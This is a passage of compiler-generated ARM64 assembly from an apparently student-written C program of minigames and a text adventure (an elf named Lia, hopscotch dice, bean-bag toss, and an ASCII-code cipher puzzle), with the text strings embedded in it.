adrp x0, .LC473
add x0, x0, :lo12:.LC473
bl printf
b .L326
.L325:
ldr w1, [sp, 176]
ldr w0, [sp, 180]
add w0, w1, w0
cmp w0, 1
bne .L327
add x0, sp, 3264
mov x1, x0
adrp x0, .LC474
add x0, x0, :lo12:.LC474
bl printf
adrp x0, .LC475
add x0, x0, :lo12:.LC475
bl puts
b .L326
.L327:
add x0, sp, 3264
mov x1, x0
adrp x0, .LC476
add x0, x0, :lo12:.LC476
bl printf
adrp x0, .LC477
add x0, x0, :lo12:.LC477
bl puts
.L326:
adrp x0, .LC478
add x0, x0, :lo12:.LC478
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L302:
ldr w0, [sp, 60]
cmp w0, 99
bne .L328
b .L2
.L336:
str wzr, [sp, 152]
str wzr, [sp, 156]
str wzr, [sp, 160]
b .L330
.L335:
ldr w0, [sp, 76]
sub w0, w0, #65
cmp w0, 34
cset w1, hi
and w1, w1, 255
cmp w1, 0
bne .L331
mov x1, 1
lsl x0, x1, x0
and x1, x0, 17179869188
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L332
and x1, x0, 8589934594
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L333
and x0, x0, 4294967297
cmp x0, 0
cset w0, ne
and w0, w0, 255
cmp w0, 0
beq .L331
ldr w0, [sp, 152]
add w0, w0, 1
str w0, [sp, 152]
b .L334
.L333:
ldr w0, [sp, 156]
add w0, w0, 1
str w0, [sp, 156]
.L332:
ldr w0, [sp, 160]
add w0, w0, 1
str w0, [sp, 160]
b .L334
.L331:
adrp x0, .LC479
add x1, x0, :lo12:.LC479
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
adrp x0, .LC480
add x0, x0, :lo12:.LC480
bl puts
nop
.L334:
adrp x0, .LC481
add x0, x0, :lo12:.LC481
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L330:
bl getchar
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 113
bne .L335
adrp x0, .LC482
add x0, x0, :lo12:.LC482
bl printf
ldr w1, [sp, 152]
adrp x0, .LC483
add x0, x0, :lo12:.LC483
bl printf
ldr w1, [sp, 156]
adrp x0, .LC484
add x0, x0, :lo12:.LC484
bl printf
ldr w1, [sp, 160]
adrp x0, .LC485
add x0, x0, :lo12:.LC485
bl printf
adrp x0, .LC486
add x0, x0, :lo12:.LC486
bl printf
ldr w1, [sp, 152]
ldr w0, [sp, 156]
add w1, w1, w0
ldr w0, [sp, 160]
add w0, w1, w0
scvtf d1, w0
fmov d0, 3.0e+0
fdiv d0, d1, d0
adrp x0, .LC487
add x0, x0, :lo12:.LC487
bl printf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L329:
ldr w0, [sp, 60]
cmp w0, 99
bne .L336
b .L2
.L338:
bl story
bl elf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L337:
ldr w0, [sp, 60]
cmp w0, 99
bne .L338
b .L2
.L344:
adrp x0, .LC488
add x0, x0, :lo12:.LC488
bl puts
adrp x0, .LC489
add x0, x0, :lo12:.LC489
bl puts
adrp x0, .LC490
add x0, x0, :lo12:.LC490
bl puts
adrp x0, .LC491
add x0, x0, :lo12:.LC491
bl puts
adrp x0, .LC492
add x0, x0, :lo12:.LC492
bl puts
adrp x0, .LC493
add x0, x0, :lo12:.LC493
bl puts
adrp x0, .LC494
add x0, x0, :lo12:.LC494
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L340
adrp x0, .LC495
add x0, x0, :lo12:.LC495
bl puts
adrp x0, .LC24
add x0, x0, :lo12:.LC24
bl puts
b .L341
.L340:
ldr w0, [sp, 60]
cmp w0, 2
bne .L342
adrp x0, .LC496
add x0, x0, :lo12:.LC496
bl puts
adrp x0, .LC497
add x0, x0, :lo12:.LC497
bl puts
b .L341
.L342:
ldr w0, [sp, 60]
cmp w0, 3
bne .L343
adrp x0, .LC498
add x0, x0, :lo12:.LC498
bl puts
add x0, sp, 3008
mov x1, x0
adrp x0, .LC499
add x0, x0, :lo12:.LC499
bl printf
adrp x0, .LC497
add x0, x0, :lo12:.LC497
bl puts
b .L341
.L343:
adrp x0, .LC500
add x0, x0, :lo12:.LC500
bl puts
.L339:
ldr w0, [sp, 60]
cmp w0, 99
bne .L344
.L341:
nop
.L2:
ldr w0, [sp, 60]
cmp w0, 99
bne .L345
mov w0, 0
.L346:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 4520]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L347
bl __stack_chk_fail
.L347:
mov w0, w1
ldr d8, [sp, 24]
ldr x19, [sp, 16]
ldp x29, x30, [sp]
mov x12, 4528
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_restore 19
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC76:
.string "abcdefghijklmnopqrstuvwzyz"
.align 3
.LC0:
.word 8
.word 5
.word 12
.word 12
.word 15
.word 23
.word 15
.word 18
.word 12
.word 4
.align 3
.LC116:
.string "yes"
.zero 1
.align 3
.LC1:
.word 7
.word 3
.word 5
.word 6
.word 9
.word 1
.word 3
.word 2
.word 6
.align 3
.LC427:
.string "CTO OF HOT POCKETS"
.align 3
.LC439:
.string ""
.zero 10
.text
.section .rodata
.align 3
.LC501:
.string "The number is even you win!!"
.text
.align 2
.global play
.type play, %function
play:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str wzr, [sp, 32]
stp xzr, xzr, [sp, 40]
str wzr, [sp, 28]
b .L385
.L386:
bl rand
mov w1, w0
mov w0, 34079
movk w0, 0x51eb, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 5
asr w0, w1, 31
sub w0, w2, w0
mov w2, 100
mul w0, w0, w2
sub w0, w1, w0
ldrsw x1, [sp, 28]
lsl x1, x1, 2
add x2, sp, 40
str w0, [x2, x1]
ldrsw x0, [sp, 28]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
ldr w1, [sp, 32]
add w0, w1, w0
str w0, [sp, 32]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L385:
ldr w0, [sp, 28]
cmp w0, 3
ble .L386
ldr w0, [sp, 32]
mov w1, 26215
movk w1, 0x6666, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w1, w1, 1
asr w0, w0, 31
sub w0, w1, w0
str w0, [sp, 36]
ldr w0, [sp, 36]
and w0, w0, 1
cmp w0, 0
bne .L387
adrp x0, .LC501
add x0, x0, :lo12:.LC501
bl printf
b .L390
.L387:
adrp x0, .LC110
add x0, x0, :lo12:.LC110
bl printf
.L390:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L389
bl __stack_chk_fail
.L389:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size play, .-play
.section .rodata
.align 3
.LC502:
.string "You find yourself on the outskirts of an unknown city."
.align 3
.LC503:
.string "You look back and there is a barrier that prevents anyone from leaving or entering this place"
.align 3
.LC504:
.string "Having no other choice, you begin to enter the city, and from a distance, you see a huge tower at the center of this city."
.align 3
.LC505:
.string "As you walk towards this tower, the city seems to be getting brighter with lights. You begin to see the residents of this city playing games against each other."
.align 3
.LC506:
.string "Seeing people around, you begin to ask people, 'Where is this place?'"
.align 3
.LC507:
.string "You ask many people, yet no one knows"
.align 3
.LC508:
.string "Everyone seems to have the same experience, they opened a door, and you found yourself at the outskirts of this city, no way out."
.align 3
.LC509:
.string "Yet everyone explains that playing games is the most important thing in this city."
.align 3
.LC510:
.string "Not knowing what to do, you begin to wander around, and then find yourself in front of something familiar, a SunBucks."
.align 3
.LC511:
.string "You enter and notice a person with pointy ears sitting near the corner of the store."
.align 3
.LC512:
.string "You give in into your curiosity and decide to sit next to this person."
.text
.align 2
.global story
.type story, %function
story:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC502
add x0, x0, :lo12:.LC502
bl puts
adrp x0, .LC503
add x0, x0, :lo12:.LC503
bl puts
adrp x0, .LC504
add x0, x0, :lo12:.LC504
bl puts
adrp x0, .LC505
add x0, x0, :lo12:.LC505
bl puts
adrp x0, .LC506
add x0, x0, :lo12:.LC506
bl puts
adrp x0, .LC507
add x0, x0, :lo12:.LC507
bl puts
adrp x0, .LC508
add x0, x0, :lo12:.LC508
bl puts
adrp x0, .LC509
add x0, x0, :lo12:.LC509
bl puts
adrp x0, .LC510
add x0, x0, :lo12:.LC510
bl puts
adrp x0, .LC511
add x0, x0, :lo12:.LC511
bl puts
adrp x0, .LC512
add x0, x0, :lo12:.LC512
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size story, .-story
.section .rodata
.align 3
.LC513:
.string "As you are sit next to this person, she says: 'What do you want?'"
.align 3
.LC514:
.string "You say, 'I was just curious, never seen a person with pointy ears'"
.align 3
.LC515:
.string "She says, 'Are you new here'"
.align 3
.LC516:
.string "You say, 'yes, just got here couple of hours ago'"
.align 3
.LC517:
.string "She says, 'Ah ok, I am an elf that has lived in this city for many years. My name is Lia.'"
.text
.align 2
.global elf
.type elf, %function
elf:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC513
add x0, x0, :lo12:.LC513
bl puts
adrp x0, .LC514
add x0, x0, :lo12:.LC514
bl puts
adrp x0, .LC515
add x0, x0, :lo12:.LC515
bl puts
adrp x0, .LC516
add x0, x0, :lo12:.LC516
bl puts
adrp x0, .LC517
add x0, x0, :lo12:.LC517
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size elf, .-elf
.align 2
.global RollArray
.type RollArray, %function
RollArray:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 44]
ldr x0, [sp, 24]
add x0, x0, 4
ldr w1, [sp, 44]
str w1, [x0]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size RollArray, .-RollArray
.section .rodata
.align 3
.LC518:
.string "roll = %d\n"
.text
.align 2
.global Prt
.type Prt, %function
Prt:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
add x0, x0, 4
ldr w0, [x0]
mov w1, w0
adrp x0, .LC518
add x0, x0, :lo12:.LC518
bl printf
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size Prt, .-Prt
.section .rodata
.align 3
.LC519:
.string "\nNumber of Vowels in your name: %d \n"
.text
.align 2
.global nV
.type nV, %function
nV:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
str wzr, [sp, 40]
b .L397
.L400:
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
sub w0, w0, #65
cmp w0, 56
cset w1, hi
and w1, w1, 255
cmp w1, 0
bne .L401
mov x1, 16657
movk x1, 0x110, lsl 16
movk x1, 0x4111, lsl 32
movk x1, 0x110, lsl 48
lsr x0, x1, x0
and x0, x0, 1
cmp x0, 0
cset w0, ne
and w0, w0, 255
cmp w0, 0
beq .L401
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
b .L399
.L401:
nop
.L399:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L397:
ldr w0, [sp, 40]
cmp w0, 20
ble .L400
ldr w1, [sp, 44]
adrp x0, .LC519
add x0, x0, :lo12:.LC519
bl printf
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size nV, .-nV
.section .rodata
.align 3
.LC520:
.string " [you] / 1 / 2 / 3 /"
.text
.align 2
.global BBGprnt
.type BBGprnt, %function
BBGprnt:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC520
add x0, x0, :lo12:.LC520
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size BBGprnt, .-BBGprnt
.align 2
.global TossBag
.type TossBag, %function
TossBag:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
str x0, [sp, 40]
str wzr, [sp, 32]
b .L404
.L405:
bl rand
mov w1, w0
mov w0, 21846
movk w0, 0x5555, lsl 16
smull x0, w1, w0
lsr x2, x0, 32
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 1
add w0, w0, w2
sub w0, w1, w0
str w0, [sp, 36]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
ldr x2, [sp, 24]
add x0, x2, x0
add w1, w1, 1
str w1, [x0]
ldr x0, [sp, 40]
str x0, [sp, 24]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L404:
ldr w0, [sp, 32]
cmp w0, 2
ble .L405
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size TossBag, .-TossBag
.section .rodata
.align 3
.LC521:
.string "hole #%d, has %d bag(s) in it\n"
.text
.align 2
.global BagTossed
.type BagTossed, %function
BagTossed:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
b .L407
.L408:
ldr w0, [sp, 44]
add w1, w0, 1
ldr x0, [sp, 24]
ldr w0, [x0]
mov w2, w0
adrp x0, .LC521
add x0, x0, :lo12:.LC521
bl printf
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 24]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L407:
ldr w0, [sp, 44]
cmp w0, 2
ble .L408
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size BagTossed, .-BagTossed
.section .rodata
.align 3
.LC522:
.string "\n~Welcome %s to this minigame~\n\n"
.align 3
.LC523:
.string "MAKE SURE THE TERMINAL IS IN FULL SCREEN WHEN RUNNING CASE 15\n"
.text
.align 2
.global monikawelcome
.type monikawelcome, %function
monikawelcome:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -304]!
.cfi_def_cfa_offset 304
.cfi_offset 29, -304
.cfi_offset 30, -296
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 296]
mov x1, 0
str wzr, [sp, 36]
stp xzr, xzr, [sp, 40]
add x0, sp, 56
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
stp q0, q0, [x0, 160]
stp q0, q0, [x0, 192]
str q0, [x0, 224]
add x0, sp, 40
ldr x1, [sp, 24]
bl strcpy
str wzr, [sp, 36]
b .L410
.L412:
bl __ctype_b_loc
ldr x1, [x0]
ldrsw x0, [sp, 36]
add x2, sp, 40
ldrb w0, [x2, x0]
and x0, x0, 255
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 512
cmp w0, 0
beq .L411
ldrsw x0, [sp, 36]
add x1, sp, 40
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 36]
add x1, sp, 40
strb w2, [x1, x0]
.L411:
bl __ctype_b_loc
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L410:
ldr w0, [sp, 36]
cmp w0, 255
ble .L412
add x0, sp, 40
mov x1, x0
adrp x0, .LC522
add x0, x0, :lo12:.LC522
bl printf
adrp x0, .LC523
add x0, x0, :lo12:.LC523
bl puts
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 296]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L413
bl __stack_chk_fail
.L413:
ldp x29, x30, [sp], 304
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size monikawelcome, .-monikawelcome
.section .rodata
.align 3
.LC524:
.string "You chose the yellow path, as you walk you see a hop scotch drawn on the floor\n"
.align 3
.LC525:
.string " ______ "
.align 3
.LC526:
.string " | 1 | "
.align 3
.LC527:
.string " _____|______|_____ "
.align 3
.LC528:
.string "| 2 | 3 | 4 |"
.align 3
.LC529:
.string "|_____|______|_____|"
.align 3
.LC530:
.string " | 5 | "
.align 3
.LC531:
.string "| 6 | 7 | 8 |"
.align 3
.LC532:
.string " | 9 | "
.align 3
.LC533:
.string " |______| "
.align 3
.LC534:
.string " | 10 | "
.align 3
.LC535:
.string " |______| \n"
.align 3
.LC536:
.string "do you want to play with it?\ny or n\n"
.align 3
.LC537:
.string " %s"
.align 3
.LC538:
.string "y"
.align 3
.LC539:
.string "You stand infront of the first box, and you find a 6 sided die,\nnext to the die theres a note that says to roll the die in order to jump.\nDo you want to roll? (y or n)\n"
.align 3
.LC540:
.string "You got %d from the die, it wasnt enough to go to the other side, re-roll.\n"
.align 3
.LC541:
.string "You got %d, you can pass\n"
.align 3
.LC542:
.string "ok, bye\n"
.align 3
.LC543:
.string "\nYou ran out of attempts, good bye\n"
.align 3
.LC544:
.string "n"
.align 3
.LC546:
.string "Wrong file name, retry "
.text
.align 2
.global monikacase1
.type monikacase1, %function
monikacase1:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -272]!
.cfi_def_cfa_offset 272
.cfi_offset 29, -272
.cfi_offset 30, -264
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 264]
mov x1, 0
adrp x0, .LC524
add x0, x0, :lo12:.LC524
bl puts
adrp x0, .LC525
add x0, x0, :lo12:.LC525
bl puts
adrp x0, .LC526
add x0, x0, :lo12:.LC526
bl puts
adrp x0, .LC527
add x0, x0, :lo12:.LC527
bl puts
adrp x0, .LC528
add x0, x0, :lo12:.LC528
bl puts
adrp x0, .LC529
add x0, x0, :lo12:.LC529
bl puts
adrp x0, .LC530
add x0, x0, :lo12:.LC530
bl puts
adrp x0, .LC527
add x0, x0, :lo12:.LC527
bl puts
adrp x0, .LC531
add x0, x0, :lo12:.LC531
bl puts
adrp x0, .LC529
add x0, x0, :lo12:.LC529
bl puts
adrp x0, .LC532
add x0, x0, :lo12:.LC532
bl puts
adrp x0, .LC533
add x0, x0, :lo12:.LC533
bl puts
adrp x0, .LC534
add x0, x0, :lo12:.LC534
bl puts
adrp x0, .LC535
add x0, x0, :lo12:.LC535
bl puts
adrp x0, .LC536
add x0, x0, :lo12:.LC536
bl puts
ldr x1, [sp, 24]
adrp x0, .LC537
add x0, x0, :lo12:.LC537
bl __isoc99_scanf
adrp x0, .LC538
add x1, x0, :lo12:.LC538
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L415
str wzr, [sp, 44]
str wzr, [sp, 48]
str wzr, [sp, 52]
nop
ldr w0, [sp, 44]
cmp w0, 6
beq .L431
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
str wzr, [sp, 48]
str wzr, [sp, 48]
b .L417
.L422:
adrp x0, .LC539
add x0, x0, :lo12:.LC539
bl puts
add x0, sp, 64
mov x1, x0
adrp x0, .LC537
add x0, x0, :lo12:.LC537
bl __isoc99_scanf
add x2, sp, 64
adrp x0, .LC538
add x1, x0, :lo12:.LC538
mov x0, x2
bl strcmp
cmp w0, 0
bne .L418
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 6
beq .L419
ldr w1, [sp, 44]
adrp x0, .LC540
add x0, x0, :lo12:.LC540
bl printf
b .L430
.L419:
ldr w1, [sp, 44]
adrp x0, .LC541
add x0, x0, :lo12:.LC541
bl printf
b .L421
.L418:
adrp x0, .LC542
add x0, x0, :lo12:.LC542
bl puts
mov w0, 1
bl exit
.L430:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L417:
ldr w0, [sp, 48]
cmp w0, 1
ble .L422
.L421:
ldr w0, [sp, 44]
cmp w0, 6
beq .L432
adrp x0, .LC543
add x0, x0, :lo12:.LC543
bl puts
b .L426
.L415:
adrp x0, .LC544
add x1, x0, :lo12:.LC544
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L431
adrp x0, .LC545
add x1, x0, :lo12:.LC545
add x0, sp, 64
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 7]
str w1, [x0, 7]
add x0, sp, 75
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
str q0, [x0, 160]
str q0, [x0, 173]
add x2, sp, 64
adrp x0, .LC62
add x1, x0, :lo12:.LC62
mov x0, x2
bl fopen
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L427
adrp x0, .LC546
add x0, x0, :lo12:.LC546
bl puts
mov w0, 0
bl exit
.L427:
ldr x0, [sp, 56]
bl fgetc
strb w0, [sp, 43]
.L428:
ldrb w0, [sp, 43]
bl putchar
ldr x0, [sp, 56]
bl fgetc
strb w0, [sp, 43]
b .L428
.L432:
nop
.L426:
.L431:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 264]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L429
bl __stack_chk_fail
.L429:
ldp x29, x30, [sp], 272
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size monikacase1, .-monikacase1
.section .rodata
.align 3
.LC545:
.string "sponge.txt"
.text
.section .rodata
.align 3
.LC547:
.string "monikaoutput.txt"
.align 3
.LC548:
.string "Deciphered.txt"
.align 3
.LC549:
.string "Youve chosen the red road, and you see a blue tunnel. You enter and you\nsee a wall with a code pad on it, its asking if you\nwant to see the prompt to move forward. Do you say yes or no? (y or n)\n"
.align 3
.LC550:
.string "\nDecipher the following text: \nOnce you have an answer, input it below"
.align 3
.LC551:
.string "\n71 97 114 114 101 116 116 66 108 117 80 111 112 112 101\n"
.align 3
.LC552:
.string "Need a hint? Ask the key\n"
.align 3
.LC553:
.string "\nPIN UNLOCKED\n"
.align 3
.LC554:
.string "You can see your previous attempts in the monikaoutput.txt file"
.align 3
.LC555:
.string "\nYour sight is filled with darkness and the glistening of the water as it shines from the light behind you."
.align 3
.LC556:
.string "You begin to move forward and get into the water but it feels weird. You think maybe its because its cold so you just dismiss it."
.align 3
.LC557:
.string "You continue but you begin to feel a burning sensation on your body and you begin panicking,\n'what's in this water'"
.align 3
.LC558:
.string "As you look for something to grab to get out of the water\nyour eyes lock on to a warning label on the side of the river, reading: 'WARNING: SULFURIC ACID REMAINS IN THE WATER\nIF IN CONTACT, PERISHABLE'\n"
.align 3
.LC559:
.string "YOU DIED\n"
.align 3
.LC560:
.string "Failed Attempt: %s\n"
.align 3
.LC561:
.string "You said no\n"
.align 3
.LC562:
.string "You tried going back to the entrance and fell through a dirt hole and died, press f to pay respects\n"
.align 3
.LC563:
.string "f"
.align 3
.LC564:
.string "fine then, dont pay respects\n"
.text
.align 2
.global monikacase2
.type monikacase2, %function
monikacase2:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 120]
mov x1, 0
adrp x0, .LC60
add x1, x0, :lo12:.LC60
adrp x0, .LC547
add x0, x0, :lo12:.LC547
bl fopen
str x0, [sp, 48]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC548
add x0, x0, :lo12:.LC548
bl fopen
str x0, [sp, 56]
adrp x0, .LC549
add x0, x0, :lo12:.LC549
bl puts
ldr x1, [sp, 24]
adrp x0, .LC537
add x0, x0, :lo12:.LC537
bl __isoc99_scanf
mov w0, 1
str w0, [sp, 44]
b .L434
.L439:
adrp x0, .LC550
add x0, x0, :lo12:.LC550
bl puts
adrp x0, .LC551
add x0, x0, :lo12:.LC551
bl puts
adrp x0, .LC552
add x0, x0, :lo12:.LC552
bl puts
add x0, sp, 96
mov x1, x0
adrp x0, .LC537
add x0, x0, :lo12:.LC537
bl __isoc99_scanf
add x0, sp, 72
mov x2, x0
adrp x0, .LC537
add x1, x0, :lo12:.LC537
ldr x0, [sp, 56]
bl __isoc99_fscanf
add x1, sp, 72
add x0, sp, 96
bl strcmp
cmp w0, 0
bne .L435
adrp x0, .LC553
add x0, x0, :lo12:.LC553
bl puts
adrp x0, .LC554
add x0, x0, :lo12:.LC554
bl puts
add x1, sp, 72
add x0, sp, 96
bl strcmp
cmp w0, 0
bne .L436
adrp x0, .LC555
add x0, x0, :lo12:.LC555
bl puts
adrp x0, .LC556
add x0, x0, :lo12:.LC556
bl puts
adrp x0, .LC557
add x0, x0, :lo12:.LC557
bl puts
adrp x0, .LC558
add x0, x0, :lo12:.LC558
bl puts
adrp x0, .LC559
add x0, x0, :lo12:.LC559
bl puts
mov w0, 1
bl exit
.L436:
str wzr, [sp, 44]
b .L437
.L435:
add x0, sp, 96
mov x2, x0
adrp x0, .LC560
add x1, x0, :lo12:.LC560
ldr x0, [sp, 48]
bl fprintf
.L437:
ldr x1, [sp, 48]
mov w0, 10
bl fputc
.L434:
adrp x0, .LC538
add x1, x0, :lo12:.LC538
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L438
ldr w0, [sp, 44]
cmp w0, 1
beq .L439
.L438:
ldr x0, [sp, 48]
bl rewind
ldr x0, [sp, 48]
bl fclose
adrp x0, .LC544
add x1, x0, :lo12:.LC544
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L443
adrp x0, .LC561
add x0, x0, :lo12:.LC561
bl puts
adrp x0, .LC562
add x0, x0, :lo12:.LC562
bl puts
add x0, sp, 64
mov x1, x0
adrp x0, .LC161
add x0, x0, :lo12:.LC161
bl __isoc99_scanf
add x2, sp, 64
adrp x0, .LC563
add x1, x0, :lo12:.LC563
mov x0, x2
bl strcmp
cmp w0, 0
bne .L441
mov w0, 1
bl exit
.L441:
adrp x0, .LC564
add x0, x0, :lo12:.LC564
bl puts
mov w0, 1
bl exit
.L443:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 120]
ldr x1, [x0]
subs x2, x2, x1
